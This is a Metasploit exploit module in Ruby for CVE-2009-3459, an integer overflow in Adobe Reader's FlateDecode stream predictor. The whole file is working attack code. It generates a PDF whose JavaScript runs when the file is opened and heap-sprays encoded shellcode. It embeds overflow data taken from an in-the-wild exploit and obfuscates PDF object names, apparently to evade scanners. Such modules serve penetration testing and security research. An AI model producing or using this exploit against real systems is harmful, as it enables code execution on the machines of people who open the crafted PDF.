##
# $Id: adobe_flatedecode_predictor02.rb 10477 2010-09-25 11:59:02Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe FlateDecode Stream Predictor 02 Integer Overflow',
'Description' => %q{
This module exploits an integer overflow vulnerability in Adobe Reader and Adobe
Acrobat Professional versions before 9.2.
},
'License' => MSF_LICENSE,
'Author' =>
[
'unknown', # Found in the wild
# Metasploit version by:
'jduck'
],
'Version' => '$Revision: 10477 $',
'References' =>
[
[ 'CVE', '2009-3459' ],
[ 'BID', '36600' ],
[ 'OSVDB', '58729' ],
[ 'URL', 'http://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ],
[ 'URL', 'http://www.fortiguard.com/analysis/pdfanalysis.html' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
# test results (on Windows XP SP3)
# reader 7.0.5 - untested
# reader 7.0.8 - untested
# reader 7.0.9 - untested
# reader 7.1.0 - untested
# reader 7.1.1 - untested
# reader 8.0.0 - untested
# reader 8.1.2 - untested
# reader 8.1.3 - untested
# reader 8.1.4 - untested
# reader 8.1.5 - untested
# reader 8.1.6 - untested
# reader 9.0.0 - untested
# reader 9.1.0 - works!
# reader 9.2 - not vulnerable
[ 'Adobe Reader Windows Universal (JS Heap Spray)',
{
'Size' => ((1024*1024) - 32)
}
],
],
'DisclosureDate' => 'Oct 08 2009',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)
end
def exploit
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Make some nops
nops = Rex::Text.to_unescape(make_nops(4))
# Randomize variables
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
script = %Q|
var #{rand1} = unescape("#{shellcode}");
var #{rand2} = unescape("#{nops}");
while (#{rand2}.length < #{target['Size']}) #{rand2} += #{rand2};
#{rand2} = #{rand2}.substring(0, #{target['Size']} - #{rand1}.length);
memory = new Array();
for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; }
|
# Create the pdf
pdf = make_pdf(script)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end
def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
def ioDef(id)
"%d 0 obj" % id
end
def ioRef(id)
"%d 0 R" % id
end
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
def make_flate_data()
# NOTE: this data is from the original, in-the-wild exploit...
# on 9.1.0 xpsp3, this causes a crash executing 0x70000000
# that's not exactly a fun address to try to heap spray to
bpc = 1
data = "\x00\x00\x20\x00\x00\x00\x10"
# this way, we can adjust dwords on the heap by 8-bits of data..
# this leads to eip being around 0x1000xxxx, much more friendly
bpc = 8
addend = 9
data = "\x00" * 64
data[18,1] = [addend].pack('C')
data[51,1] = [addend].pack('C')
return bpc, data
end
def make_pdf(js)
xref = []
eol = "\x0d\x0a"
endobj = "endobj" << eol
# Randomize PDF version?
pdf = "%PDF-1.5" << eol
pdf << "%" << RandomNonASCIIString(4) << eol
xref << pdf.length
pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2)
pdf << nObfu("/Pages ") << ioRef(3)
pdf << nObfu("/OpenAction ") << ioRef(5)
pdf << ">>" << endobj
xref << pdf.length
pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj
xref << pdf.length
pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj
xref << pdf.length
pdf << ioDef(4) << nObfu("<</Contents ") << ioRef(7)
pdf << nObfu("/Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj
xref << pdf.length
pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
# generate data for inside the flate'd stream
bits_per_component, data = make_flate_data()
compressed = Zlib::Deflate.deflate(data)
xref << pdf.length
pdf << ioDef(7) << nObfu("<</DecodeParms")
pdf << nObfu("<</Columns 1/Predictor 02/Colors 1073741838/BitsPerComponent %s>>" % bits_per_component)
pdf << nObfu("/Length %s/Filter/FlateDecode>>" % compressed.length)
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
end
end
